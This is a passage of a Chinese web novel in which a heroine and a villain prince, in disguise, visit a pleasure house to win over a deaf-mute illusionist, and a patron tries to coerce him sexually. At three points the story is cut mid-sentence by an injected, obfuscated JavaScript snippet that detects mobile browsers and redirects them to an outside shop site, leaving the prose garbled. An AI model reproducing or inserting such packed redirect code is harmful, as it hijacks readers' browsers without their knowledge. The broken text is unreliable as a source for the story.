一进去不由得被惊艳了,院子里那棵原本焦枯的桃花树,如今已经彻底改头换面,焕发新生,绽开了满树繁花。 树上挂着一盏四角流苏宫灯,暖黄色的灯光映照得桃花如火,晶莹剔透,如一树粉色琉璃。 李玄璋就坐在树下的石桌旁,低首垂眸,手里缝着一只布娃娃,侧脸精致如玉,仿佛桃花成了精,幻化成了人形。 姜念虞抱着猫走过去,离得近了,发现他手里的布娃娃赫然是她的模样。 她心里一悚。 小说里,李玄璋给人缝布娃娃可不是什么好兆头。 凡是被他缝了布娃娃的,都是上了他死亡名单的人,他会在布娃娃背后贴上那人的生辰八字,并用针封住布娃娃的各处关节。 等将仇人杀死了,他就会将布娃娃封存起来,放进一口巨大的棺材里。 那口棺材,就是他的布娃娃收藏柜。 如今李玄璋缝了她的布娃娃,难道是想杀了她? 姜念虞不想胡思乱想自己吓自己,干脆直接问了出来。 “你缝我的布娃娃做什么?” 李玄璋手中的缝制也到了收尾阶段,待收了针,他这才抬头,将布娃娃递过去:“送你。” 姜念虞吃了一惊,大反派竟然还会将布娃娃送人? 不过既然他要送,她收着便是。 她接过来,看了看,这布娃娃缝得着实精致,大反派即便不搞造反事业,出宫摆摊卖布娃娃估计也不愁吃喝。 玄猫从她肩头跳下去,落到桌上,翘着尾巴将脑袋送到李玄璋手下,挨挨蹭蹭。 李玄璋却没摸它,屈指在它脑袋上敲了一记:“怎么去了这么久?” 玄猫想起来主人交代的任务,心虚地趴了下来,露出肚皮,夹着嗓子轻轻叫唤,主人,求放过,嘤~ 姜念虞收起布娃娃,“你敲它干嘛?别把孩子敲傻了,是我留了它吃饭,晟儿还跟它玩了好一会儿,它这才回来晚了的。” 李玄璋捏着玄猫的颈皮,“知道姐姐醒了,我有事跟你说,让它去叫你,结果它倒好,在你那里连吃带玩,将我交代的话忘了个精光。” 姜念虞:“原来它是去叫我的,我还以为它是去找我玩的。得亏我也有事找你,过来了,不然你岂不是要等空了。” 李玄璋将搁在脚边的食盒提上桌,打开,拿出两碟精致的点心。 姜念虞眼睛一亮,也不客气,伸手就要拿糕点吃。 却被李玄璋捉住了手,“姐姐才刚抱了猫,摸了布娃娃,不洗洗手再吃点心吗?” 姜念虞:“不干不净,吃了没病。” 末世到来后,哪有洗手的条件?连干净的饮用水都是奢侈,她养成的饭前洗手的好习惯早就丢到哇爪国去了,即便穿过来了,习惯一时半会儿也改不过来。 李玄璋朝院子角落里的一口大水缸指了指,“姐姐,去洗个手再吃吧。” 姜念虞:“好吧。” 走到水缸边,拿木瓢舀了水,两只手交替着洗了一遍,甩着手上的水珠走回来。 李玄璋见她也不擦手,湿着手就要拿糕点,再次抓住她的手,给她擦了擦。 姜念虞:好哎,又蹭到了一次贴贴,异能又上涨了一点呢。 她美滋滋地拿了块糕点吃起来。 李玄璋:“你说找我有事?” 姜念虞嘴里塞得太满了,嚼了好多下才空出了嘴说话:“你这院子荒着太可惜了,我想拿来种点药材,你不介意吧?” 李玄璋:“种什么药材?” 姜念虞:“人参、当归、黄芪……各种药材都种一点。” 李玄璋对医药一道谈不上精通,但最起码的医药常识还是知道的,她说的这些药材生长环境和条件各不相同,她却要将它们一起种在这方杂草丛生的荒芜院落里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176329|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她是对药材的种植一无所知,只是一时兴起想种着玩一玩,还是对自己的种植技艺太过自信,觉得无论在哪里,无论种下的是何种药材,她都能够种好? 一阵风起,身旁的桃花树簌簌而动,桃花纷飞。 李玄璋伸出手,几片桃花自动落入了他掌心,看着这几片粉嫩而富有生机的花瓣,他想,应该是后者吧? 焦枯了数年几近死亡状态的桃花树,只是被她触碰过几次,就奇迹般地复活了,枯木逢春了,她身上,一定有着他还未参透的秘密。 她要在这里种药材,那就让她种去,正好可以观察一下,她到底藏着什么手段。 “好,这片院子你尽可以用。” 姜念虞吃完了糕点,连手上的糕点碎屑也不放过,舔了个干干净净,完了叉着腰走到院子中央四处看了看,琢磨着从哪里入手。 开荒可是个体力活儿呀。 李玄璋:“你就不好奇,我们的计策成功了吗?” 姜念虞蹲下来拔草,闻言顺势问:“对哦,我们的计策成功了吗?李淳现在是不是已经被看成了妖孽,人人喊打?” 李玄璋走过来,蹲下来和她一起拔草:“成功了一半。” 姜念虞:“怎么说?咦,你看这是什么,蛇莓,这个可以吃的。” 没想到拔个草还能找到食物,她高兴地将蛇莓摘下来,放在帕子上,用一只手托着,另一只手则继续在草丛里寻找。 李玄璋无奈只得跟着她一块儿挪动,将一颗拇指肚大的圆嘟嘟红艳艳的蛇莓递给她。 “李淳命姜相查出幕后主使,在姜相调查的过程中,京城内外灾祸频发的消息不断传来,太后趁机出面,提出要举办一场问天大典,让李淳当众叩问上天,看他是否是妖孽。” 姜念虞听了并未露出什么意外的神色,因为这些她早就在书里看到过了。 她还知道,那些灾祸有不少都是李玄璋人为制造出来的,当然,太后一党也没少在里面推波助澜。 双方都想将李淳拉下皇位。 而李淳会怎么做呢? 李玄璋:“李淳带着墨春悄悄微服出宫,去了揽月楼,你可知他去揽月楼的目的?” 姜念虞:“去找人。” 李玄璋:“找谁?” 姜念虞:“一个幻术师。” 李玄璋略一想就猜到了李淳的意图,“他是想让幻术师在问天大典上为他制造幻术,骗过众人的耳目,洗脱他的妖孽污名?” 姜念虞:“没错。” 李玄璋:“那个幻术师姓甚名谁?样貌如何?” 姜念虞张了张嘴,没能说出口。 好家伙,之前世界意识不允许她剧透,但她好歹还说出来了,只是李玄璋无法听见而已,这一回世界意识直接封了她的口了,让她说都说不出来。 估计和这次被雷劈有关。 世界意识已经盯上她了,加大了对她这个穿书者的束缚。 姜念虞不由得想,要不她放弃和大反派一起对付李淳这个男主? 但即便她不顾李淳杀死原主的仇,李淳也不会放过她、放过姜家的。 她不想法子搞死他,等到他将来实力成长起来,就只能等着被他搞死。 所以,她这个炮灰女配,注定只能一条道走到黑。 反正她如今这条命是捡来的,能好吃好喝地多活一天都是赚的,所以顾虑那么多干什么? 只管往前莽就是了! “走,我们也出宫去揽月楼,到时候我直接把那个幻术师指给你看,我们得抢在李淳之前,将他拉拢过来。” 不然事情就会按照剧情里的那样,李淳在幻术师的协助下,通过上天的“考验”,洗刷妖孽之名,收割民心。 那样她们的计划就彻底失败了。 31. 第31章 出宫自然是要有所准备。 姜念虞和李玄璋都易了容、换了装。 李玄璋第一次正儿八经地恢复男子装扮,出来的那一刻,姜念虞差点没忍住对他吹口哨。 “靓仔,今晚有空咩?” 李玄璋:“……” “姐姐别贫嘴了,快去换衣裳吧。” 姜念虞:“哦。” 她换上了婢女的衣裳,戴上了易容-面具。 那易容-面具薄如蝉翼,贴在脸上仿佛第二层皮肤,一点也不闷。 她对着镜子一照,不由惊叹古人技艺之高超,面具一戴,她完全变成了另一个人。 “这面具你是哪里搞来的?” 李玄璋一边给自己戴面具,一边回她:“问丽嫔买的。” 姜念虞惊讶:“丽嫔还卖易容-面具?还肯卖给你?她不是李淳那一边的吗?” 李玄璋:“一张面具五万钱,她为何不肯卖?李淳拿林家人威胁她,她本就不是真心效忠李淳,我答应替她保护家人,她便倒向了我这边,为我做事。” 姜念虞:所以丽嫔还是像剧情里那样,加入了李玄璋这个大反派的阵营,当起了双面间谍。 她对这个时代的钱没什么概念,“五万钱很贵吗?” 李玄璋:“可以买下五百只你喜欢吃的烧鸡。” 姜念虞倒吸一口凉气,瞬间就对这个时代的银钱有了具体的概念。 “易容-面具这么贵啊,那两张不就是十万钱了?相当于一千只烧鸡!” 想到自己戴了五百只烧鸡在脸上,姜念虞就觉得一阵肉疼,这些钱给她全部拿来买烧鸡多好啊,一顿吃一只,都能吃上好几个月! “你就没让丽嫔给你打个折么?” 李玄璋:“这已经是讨价还价之后的价格了,原本丽嫔要价八万钱。” 姜念虞:“她真敢啊。回头我问问她,看能不能跟着她学习制作易容-面具,要是我也学会了这门手艺,那以后岂不是有吃不完的烧鸡?” 李玄璋:“姐姐,难道你从来没去你的私库看过吗?没看过当初姜家给你准备的嫁妆单子吗? “光是姜家给你准备的嫁妆,就已经足够你锦衣玉食八辈子了,更何况你身为德妃,每年都有数十万钱的份例,这还不算那些赏赐……” 姜念虞:“!!!原来我这么有钱啊,嘿嘿。” 发现自己是个富婆的姜念虞,出宫后走路都带风,在街上看见啥都想买,气势比走在前面充当主人的李玄璋还要足。 李玄璋拿扇子敲了敲手心,提醒她:“姐姐,低调些,你这样不像是婢女,倒像是女土匪。” 姜念虞:“哦。” 来到揽月楼,两人一前一后走了进去。 一个刚从马车上下来的锦衣华服的客人,看见李玄璋的背影,不由得眼睛一亮,快走几步追了上去,想一睹美少年的芳容。 结果追上去看到他的脸后,不禁大失所望,那样令人浮想联翩的背影,怎的配了这样一张平平无奇的脸呢? 真是白瞎了这样一副好身段! 姜念虞在后面目睹了那个客人全程的表情变化,乐不可支,用手肘拐了李玄璋一下,促狭道:“你让人家失望了呢。” 李玄璋拿手中的白玉扇在她脑袋上轻敲了一下,“很喜欢看我的笑话?” 姜念虞回了他一拳,“你打我?我生气了,至少得吃两碗玉露团才能好。” 李玄璋:“最多一碗,吃太多甜食当心牙疼。” 姜念虞:“行吧,一碗就一碗。” 为了待会儿近距离接触幻术师,两人没有去包间,而是在大堂捡了个空位坐下。 姜念虞点了这里最贵的一个“套餐”——价值九万九千九百钱的“金风玉露”席面,里面包含了揽月楼的招牌点心——玉露团。 其全称为羊酥冻玉雕花露团。 羊酥冻玉,那是何等的精致、美味! 姜念虞光是看着文字,就忍不住大流口水,可惜她无论如何也想象不出来玉露团到底是怎么样的。 在她满是期盼的等待下,一道道美味佳肴被侍女呈了上来。 金风玉露席面足足有七十二道菜(也包括点心、冷菜啥的),大堂的四方桌根本摆不下,到最后侍女只得另外又调了两张桌子过来,摆成了一个仿佛自助餐桌一样的大长桌。 姜念虞第一时间朝自己心心念念许久的玉露团下手。 精致的花型碧玉碗中,盛着一朵粉色的牡丹花,花瓣薄如蝉翼,冰清玉洁,花朵上面浇淋着一圈奶酥,和冰激凌很像。 “原来玉露团长这样,真好看啊。” 姜念虞拿起勺子舀了满满一勺,“啊呜”一口吃下去,表情异常满足。 正吃得高兴,李玄璋示意她:“看上面。” 姜念虞顺着他的视线看过去,见到二楼雅间里坐着两个人,虽然那两人也乔装打扮了,但她一眼就认了出来,那是李淳和墨春。 “咱们这么容易就把他们认了出来,那他们会不会也能一眼看穿咱们?” 李玄璋:“所以姐姐得克制点,别一看到好吃的就两眼放光。” 姜念虞讪讪:“我尽量。” 她也不想显得跟饿死鬼似的嘛,但就是控制不住。 在末世时,得到食物后就得尽快吃掉,不然很容易被抢走,或者下一秒就被怪物吃掉,压根儿就没有将食物吃下去的机会。 尽快将食物吃下去,已经成了刻进她骨子里的本能。 不是一时半会儿能改变的。 姜念虞只能放缓进食的速度,多咀嚼几下。 同时将注意力移到大厅中央的表演上。 那里搭建着一座彩楼,彩楼前面的台子上,正表演着一场勾魂的舞蹈。 舞蹈之后,唱曲、抚琴、说浑话(类似于今天的脱口秀)、相扑(女子摔跤表演)、杂扮(类似于小品)等等节目依次上演。 一开始姜念虞只是为了转移注意力才去看表演的,但是看着看着,她不禁沉醉其中了。 古人吃的是真好啊,青楼里居然有这么多精彩的节目,这和现代的晚会有什么区别? 难怪大家都爱逛青楼。 节目看着,美食吃着,美人看着(随便一个侍女小厮都生得美貌清秀,赏心悦目),怎不让人流连忘返,乐不思蜀? 看见别人往台子上丢银子钱串,姜念虞觉得自己身为富婆,也不能落后啊。 出来时她可是特意带了不少银钱。 当即从荷包里摸出来一个金锭,往台上丢。 结果旁边一只长臂伸过来,将她丢出去的金锭拦截了下来。 “你干嘛阻止我打赏?” 李玄璋把玩着那只金锭:“姐姐,这金锭上可是有内务府的印记,你丢上去,身份就要被人看破了。” 姜念虞:“那咋办?我觉得她们表演得特别精彩,我不能白嫖。” 李玄璋被白嫖这个词噎了下,她怎么这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13187150|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般口无遮拦呢?难道她那个地方的女子,都是这般口无禁忌的吗? “姐姐用我的吧。”他把自己的钱袋子递给她。 姜念虞兴冲冲地打开,发现里面居然只有几串铜钱。 在来的路上,她已经恶补了一番这个时代的银钱概念。 这些钱拿着沉甸甸的,但其实换算成银子的话,估计还不超过五两。 大反派出门,兜里只装着几两银子吗? 这也太不够牌面了吧。 “这也太少了吧?”姜念虞觉得有点拿不出手。 李玄璋凉凉一笑:“叫姐姐看笑话了,我常年居于冷宫,哪有什么赚钱的手段?之前攒下来的钱,都拿去买易容-面具了。” 听起来好造孽。 但姜念虞可是清楚得很,冷宫里不受宠的蓁蓁公主多么有钱! 他在宫外可是有不少产业,甚至还组建了一个杀人组织,他的第一桶金,就是靠着杀人贩卖消息赚到的。 之后手里的资金越滚越多,现在的他,不说富可敌国,但也绝对富甲一方了。 “姐姐可是嫌我给的少了?那还给我吧。”李玄璋作势要将钱袋子收回来。 姜念虞忙捂住了,“呵呵,怎么会呢?我只是心疼你,在冷宫里省吃俭用攒下来这么点钱,要是被我大手一挥拿来打赏艺人,那就太说不过去了。 “不过这也是你的一点心意,我就收下了,我的这锭金子你就拿着吧,不用还给我了。” 两人说话的功夫,台上的艺人早就下去了,已经换了另一拨。 这一拨人,表演的正好是幻术——鱼龙蔓延。 只见一条彩色的大鱼舞动着登场了,在彩楼里戏来耍去,仿佛真的在水中游动,大鱼的须子显得十分的飘逸丝滑。 “噗通”一声,大鱼一头扎进水池里,溅起老高的水花,过了会儿大鱼跃出水面,嘴里喷出串串水珠,彩楼中又有白色的雾气逸散而出,营造出一种朦胧迷离的氛围。 在一片朦胧中,大鱼竟摇身一变,成了一条数丈长的黄龙,在如昼的灯光下,遨游四方,龙鳞烁烁,从一众客人头顶上方飞过。 客人们纷纷发出惊呼,有的害怕躲避,有的却是好整以暇地看着,还有的大胆者甚至上手去摸。 姜念虞就是上手摸的人,可惜她的手太短,没能够着,只能眼睁睁看着长龙从自己眼前飞走。 就在她感到遗憾时,刚才飞走的长龙,居然再次出现了,摇身一变,成了一头更加庞大巍峨的巨兽,其背上还出现了一座陡峭险峻的山峰。 山中有猛兽相互搏斗,猿猴追逐攀援,孔雀展翅开屏,大象昂首嘶吼…… 一幕幕景象再真实不过,仿佛将一座真正的山搬到了人们眼前。 姜念虞看得都痴了。 古代的幻术表演,太奇幻真实了,犹如传说中的神话场景再现,也不知道那些艺人是如何做到的。 这般精彩的表演,自是引得看客纷纷打赏,金银珠宝铜钱下雨似的落在台上。 李玄璋问:“你说的那位幻术师,是否就是刚才出场的人之一?” 姜念虞:“不是,鱼龙蔓延是他设计指导的,但他并不参与其中,因为他喜欢独立表演,不跟别人一起。下一个出场的应该就是他了。” 果不其然,下一秒,台上的主持人朗声道:“接下来就是大家期待已久的幻术——种瓜了,有请阿幻郎君登场!” 姜念虞:“是他,他马上要出来了。” 32. 第32章 李玄璋:“姐姐,给我说说他的情况。” 姜念虞:“阿幻是揽月楼里的一名伎女所生,他母亲生下他后不久就死了,临死前给孩子取名平安,将他托付给了自己的好姐妹瑶娘,瑶娘和平安在揽月楼相依为命,两人不是母子胜似母子。 “为了让平安过得更好,瑶娘不断往上爬,最终成了这揽月楼的管事。 “而平安在幻术一道上天赋异禀,再复杂的幻术,他看一遍就能参透其中的窍门,并将其破解复制出来。 “有一次揽月楼请来的幻术师被对家截胡了,来不了,但揽月楼已经将消息放出去了,客人们都来了,都在翘首以盼,等着看揽月楼吹得天上有地上无的幻术表演。 “瑶娘急得不行,这时平安给她表演了一个自创的幻术,自荐上场,瑶娘不得已将他推上了场。 “平安一炮而红,瑶娘也因此坐稳了揽月楼大管事的位置,之后给他起了个艺名叫阿幻,没多久阿幻就成了揽月楼的明星幻术师,活招牌,揽月楼因此赚得盆满钵满。” 这一大段信息,是她从书里看来的。 或许因为这是已经发生过的,所以世界意识没有阻止她说出来。 在她讲话时,阿幻已经出场了。 他戴着一张木头面具,上面什么花纹都没有,也没有露出什么孔洞,整张脸都被掩盖住了,看起来像一个木头人。 这在无形中增加了他的神秘感,让客人对他更加好奇。 只见阿幻拿出了一个陶盆,将一粒香瓜籽种了进去,浇了点水。 须臾间,陶盆中的香瓜籽居然就发芽、生蔓、开花了。 看到这一幕,姜念虞吃东西的动作都停住了,看书时这个幻术于她而言只是一个幻术罢了,但当亲眼所见时,她不由得被震撼到了。 甚至怀疑阿幻和自己一样,也是一个木系异能者! 不然实在很难解释这一幕啊。 才种下去的瓜籽,怎么转眼间就开花结果了呢?! 她决定了,回头她要跟阿幻学习幻术,这样以后她就是当众催生植物,别人也只会以为她是在表演幻术,而不是在施展异能。 台上,陶盆里的瓜蔓已经蔓延出来了,片刻间就覆盖了整个舞台,不多时,上面的花谢了,结出了一个个小小的香瓜。 香瓜很快长大,散发出阵阵清香。 “无论看多少次,我都还是会被这个幻术惊艳到,也不知阿幻是如何做到的。” “阿幻,摘下面具让爷看看!” “香瓜我全都要了!” “切,你以为只有你一个人有钱啊?告诉你,爷不差钱,那些香瓜都是我的!谁也不许和老子抢!” 主持人适时出来打圆场,趁机搞拍卖,将一个香瓜卖出了上万钱的天价。 仿佛那不是瓜,而是天上的仙果。 姜念虞看得叹为观止,恨不能当场催生出百八十个瓜来卖一卖。 二楼包间里的李淳也来凑热闹,张口喊出“五万钱”的高价,震得在场众人都歇了声。 能来揽月楼的,都不是差钱的主儿,但他们买的只是瓜而已啊,肯花五万钱买一个瓜,这已经不是普通的有钱了,而是豪横。 李淳成功在众人面前装了一回逼,然而当他朝底下的阿幻看去时,却发现他无动于衷地站在那里,甚至没有朝自己这里看上一眼,脸上的表情顿时垮了下来。 ——他只知阿幻幻术超绝,却不知他是个聋哑人。 (揽月楼有意隐瞒了这一点。) 李淳的五万钱高价,激起了其余客人的好胜心。 “都是来揽月楼寻开心的金主,谁比谁差劲了?” “就你有钱?就显着你了?老子也有的是钱!” “我可是看着阿幻长大的,今儿怎么能被一个新来的比下去!我出六万钱!” …… 新一轮的竞拍开始了。 台上的主持人笑得牙都要飞了。 就连姜念虞一个看客都跟着心潮澎湃起来。 瓜啊瓜,没想到有一天你会这么值钱! 唯独台上的阿幻,仿佛跟众人不在一个世界,只是静静地站在那里,抱着他的陶盆。 不知道在想些什么。 没多久,台上的甜瓜就被拍卖得差不多了,只剩下了最后一个,也是品相最好最大的一个,主持人特意将其留在了最后。 先前没能竞拍到甜瓜的客人,以及兜里不差钱的客人,都为这颗瓜争得热火朝天。 争抢之下双方便起了冲突,起初还只是口头上的骂战,骂着骂着双方就大打出手了。 你踢我一脚,我挥你一拳……这边帽子被踩在了地上,那边鞋子飞到了天上……场面一时间有些失控。 后面双方还冲到了台上,将阿幻围了起来,让他给个说法。 “阿幻,你说,这瓜该给谁?” “阿幻,我给你捧场多年,这些年花在你身上的银子也有千八百两了,你可不能让我失望啊。” “切,才花了千八百两银子也好意思在这里充大款?老子可是为阿幻花了好几万两!阿幻,今儿这颗瓜必须得是老子的,不然以后老子再也不来看你了!” 他们不知道的是,被围在中间的阿幻,压根儿听不见他们说的话。 虽然他看得懂唇语,但瑶娘要求他上台时戴着面具,所以这会儿的他既看不见也听不见,更说不出一个字来,只知道自己被很多人围住了。 他抱着怀里的陶盆,感到一阵窒息。 很想要逃。 可无论他往哪里走,都被人给挡住了。 台下,姜念虞预言一般道:“他脸上的面具要掉了。” 果不其然,下一秒,台上阿幻头上绑着的面具不知怎的脱落了,可能是被挤的,也有可能是有人趁乱动了手脚…… 总之,他的面具就这么掉了下来,面具后的脸当众暴露了。 霎时间,原本吵闹不休的众人都像是被按下了静音键,整个大厅一瞬间安静了下来。 所有人都看着阿幻,盯着他的脸,被惊艳得目瞪口呆。 姜念虞也是眼睛一亮,连手里的鸡腿都忘记吃了。 小说里描写阿幻的面容——如一株临水而开的白水仙,有种不染尘俗的干净清澈,让人忍不住想要破坏、蹂-躏、玷-污。 不过她之所以盯着他挪不开眼睛,并非是像别人那样被他的容 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13201061|135786||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 貌慑住了心神,而是高兴激动——阿幻这长相,肯定又是一个异能血包。 她识海里的异能源种都蠢蠢欲动了,还没有碰到他,就像星星一样闪烁起来。 满场的人,唯一对阿幻的面容没有任何反应的,大概只有坐在姜念虞旁边的李玄璋了。 见姜念虞眼也不错地盯着台上的人,他夹了一只虾送到她面前,挡住了她的视线。 语气温柔地说:“姐姐,我把他杀了,如何?” 姜念虞原本在机械地嚼着虾,闻言悚然一惊,蓦地转过头,“杀谁?你要杀了阿幻?为什么?” 李玄璋:“他死了,李淳就无法拉拢他了,我们的目的不就达到了?何必费尽心思地跟李淳抢人呢。” 说话时,他刚才给她夹虾的那只手把玩着一根玉筷,筷子被他舞出了残影,可想而知,他若是将其当做暗器射出去,绝对会让阿幻当场毙命。 姜念虞抓住他的这只手,尽力放柔语气:“不行,就算你杀了阿幻,李淳也能找到别的幻术师来代替他,杀掉幻术师并不能解决根本的问题,而且,阿幻不仅幻术高超,他还有别的作用。” 在一周目里(李淳当狗的那一世),阿幻可是李玄璋的得力下属,抓钱手,不知给他搂了多少钱回来。 现在李玄璋竟然要杀了他? 两人说话间,瑶娘冲到台上,将面具扣在阿幻脸上,趁着众人还没反应过来,拉着他快速消失。 “这下完了,阿幻,你的脸被那么多人看到了,其中还有不少好男风的有钱有势的权贵,要是他们找我要你,我是给还是不给? “给了吧,以后揽月楼没了你,还怎么日进斗金啊,要是不给,那不得罪人嘛?揽月楼也开不下去,真是愁人! “阿泰这臭小子,让他好好看着你,结果他倒好,竟然让你在那么多人面前暴露了,回头老娘抽不死他!” 阿泰便是这场表演晚会的主持人,在他上台前,瑶娘对他千叮咛万嘱咐,别的地方可以出岔子,但是在阿幻上台后,一定要打起十二万分的精神,不能出一点差错。 结果他偏偏就在阿幻这里出了岔子。 瑶娘拉着阿幻,一路絮叨个不停。 阿幻低着头,任由她拉着自己走,一“言”不发。 他是会手语的,也能读懂别人的唇语,但这会儿瑶娘背对着他,他看不见她说了什么,只能感觉到她很慌乱。 他心下也不由得跟着慌起来。 瑶娘之前对他说过,不能让人看见他的脸,但现在别人看见了,会发生什么? 越怕什么越来什么,两人走到一半,一名身着劲装的侍卫拦住了她们,“瑶娘子,幻郎君,我家老爷有请。” 瑶娘心里咯噔一下,这不是钱老爷的侍卫吗? 钱老爷可是个好男风的主儿,他让侍卫请阿幻过去,想也知道是打着什么主意。 可她能拒绝吗? 她虽不知钱老爷的真实身份,但他是她们揽月楼的常客,常年霸占金主排行榜前三,这些年花在楼里的打赏费、酒水费等不下十万两。 这种贵客,可不能有丝毫怠慢。 瑶娘只能带着阿幻,随侍卫去了钱老爷的院子。 33. 第33章 大堂。 姜念虞将一盘八宝鸭端起来,又往里加了好些别的食物,冲李玄璋招呼了一声。 “走,咱们跟上去。” 李玄璋知道以她的饭量,一盘子食物根本不够她吃的,于是也抄起了一盘点心,施施然跟在她身后。 二楼包间里,李淳老神在在地坐在椅子上,没有急着行动。 墨春问:“主子,那不是您要找的人吗?咱们不跟上去吗?” 李淳:“不急,去得早不如去得巧,我要赶在他最绝望的时候出现,将他救下来,如此他才会对我感激涕零,心甘情愿受我驱使。” 墨春听不太懂他说的话,“救下他?” 李淳:“阿幻被一个好男风的客人看中了,等他要被客人强占时,才是我出现的最佳时机。” 前世李玄璋便是这般做的,阿幻因此对他感恩戴德,甘愿受他驱使,帮他赚了不少钱。 李玄璋能拉拢那么多朝臣,组建起一支神出鬼没的军队,不正是因为有了源源不断的金钱支持吗? 这一世,他要截下阿幻,断掉李玄璋的钱袋子。 墨春对主子预言般的说话方式已经习以为常了,也不再傻乎乎地问主子是怎么知道的了,只是乖巧地点了点头。 “咦,主子,那两个人好奇怪呀,怎么都端着盘子边走边吃呢?” 李淳顺着墨春指的方向瞥了一眼,旋即目光顿住了,那道背影,化成鬼他都不会认错! 李玄璋! 而走在他前面,边走边不忘往嘴里塞食物的那个女子,瞧着简直和德妃一个德性! 不,那就是德妃! 她怎么敢私自出宫?! 又怎么会和李玄璋一块儿出现在这里? 难道李玄璋真的重生了?!所以想提前收下阿幻? “走!”李淳再也坐不住了,急促起身往楼下走去。 墨春一脸茫然地跟上去,主子刚不是还说不急吗?怎么现在又急急忙追上去了? “老爷,人带到了。” 侍卫领着瑶娘和阿幻进门,向榻上的中年男子拱手复命。 与此同时,姜念虞和李玄璋跟在瑶娘一行人身后追了过来。 李玄璋揽着姜念虞原地起飞,轻飘飘上了屋顶。 姜念虞揭开一块瓦片,朝屋里看去。 只见上首榻上,坐着个油腻的中年男人,衣襟大敞,露出白花花圆鼓鼓的肚皮。 “蓁蓁,你快看,他不是先前在揽月楼门前,追上来看你的那个人吗?原来他就是钱老爷。” 姜念虞用气音在李玄璋耳边道,眼中藏着促狭的笑意。 李玄璋的耳朵被她嘴里呼出的热气弄得痒痒的,见她还有心思取笑自己,伸手捂住了她的嘴。 姜念虞挣扎了几下没挣开,索性任由他捂着了,继续看底下。 钱老爷左右两边各有一个美少年服侍,一个嘴对嘴给他喂酒,一个依偎在他怀里给他按摩胸膛。 看到这一幕,阿幻脸色白了白。 从小在揽月楼长大,他见多了这等淫-糜浮浪之事,瞬间就知道,瑶娘带他来这里是干什么了。 他不禁朝瑶娘看去,瑶娘却并不看他。 钱老爷吃掉了美少年喂过来的酒,又拉着人勾缠了一会儿,这才不紧不慢地朝阿幻看去。 见他低着头,命令道:“抬起头来。” 阿幻慢慢抬起了头。 钱老爷表情一呆,反应过来后擦了擦嘴,一把将身旁的两个美少年推开。 跟站在底下的阿幻一比,原本颇得他心的两个美少年,顿时就成了胭脂俗粉! “快,到我这儿来。”钱老爷呼吸都急促了几分,迫不及待朝阿幻招手。 阿幻没动。 瑶娘笑着解释道:“钱老爷,到了这个时候,我也不能瞒着您了,阿幻他是个聋哑人,即听不见,也不能说话,还请您大人有大量,别跟他一般见识。” 钱老爷:“哦?聋哑人?这倒是奇了,以往怎么从未听说过啊?” 说着从榻上走下来,绕着阿幻来回打量,眼神犹如一条黏腻的长虫,从他的肌肤上爬过。 阿幻的鼻子是极其灵敏的,闻见钱老爷身上浓稠的气味,一股呕意涌到了喉咙口,又被他强行咽了下去。 瑶娘赔笑道:“若是知道阿幻是个聋哑人,贵客们还会那样捧场么?怕是早就把阿幻撵下台了,我也是不得已才瞒着这个事,还给阿幻戴上了面具,让客人无法看出端倪来。 “然而纸终究包不住火,今日阿幻还是暴露了,钱老爷,妾身求您一件事儿,您能否替阿幻保守这个秘密呢?妾身和揽月楼感激不尽。” 钱老爷:“想让我替揽月楼保下这个秘密也可以,不过阿幻得陪我一晚。” 瑶娘面露犹豫:“钱老爷,阿幻这孩子是我从小看着长大的,他一心钻研幻术,从没叫客人沾染过,我怕他一时想不开。” 钱老爷乜斜着她:“怎么?陪我一晚倒辱没了他?不愿意陪我也行,那就叫他出阁吧,从今日起,千人枕万人尝,到那时看他还想不想得开。” 瑶娘:“看您说的,钱老爷身份尊贵,气度高华,阿幻能陪您一晚上,是他的福气,他哪儿能不愿意呢?我这就跟他说,保证让他心甘情愿。” 她对着阿幻做了一番手势,“阿幻,对不住,说好的要护着你安安稳稳清清白白地长大,结果瑶姨要食言了,是瑶姨没本事,护不住你,你今晚就委屈一下吧。” 与此同时,悄悄借着袖子的遮掩塞给他一包药粉。 阿幻还以为瑶姨真的要把自己送出去了,不禁心如刀绞,得了这包药粉,就知道瑶姨还是护着自己的,心头又回暖了。 他不动声色地收下药粉,含泪点了点头。 “行了,你们都出去吧。”钱老爷急着跟阿幻单独相处,抬手挥赶。 瑶娘等人退了出去。 走在最后的瑶娘深深看了阿幻一眼,缓缓带上房门。 屋顶上,姜念虞眼见着钱老爷朝阿幻伸出了爪子,摇了摇李玄璋的手臂:“快,就是现在,把那个钱老爷打晕。” 李玄璋原本还想看看阿幻会怎么应付钱老爷,但是既然她已经发了话,他便没有犹豫,指尖射出一粒石子,正中钱老爷的太阳穴。 “砰”的一声,钱老爷应声倒地。 阿幻一惊,四处看了看。 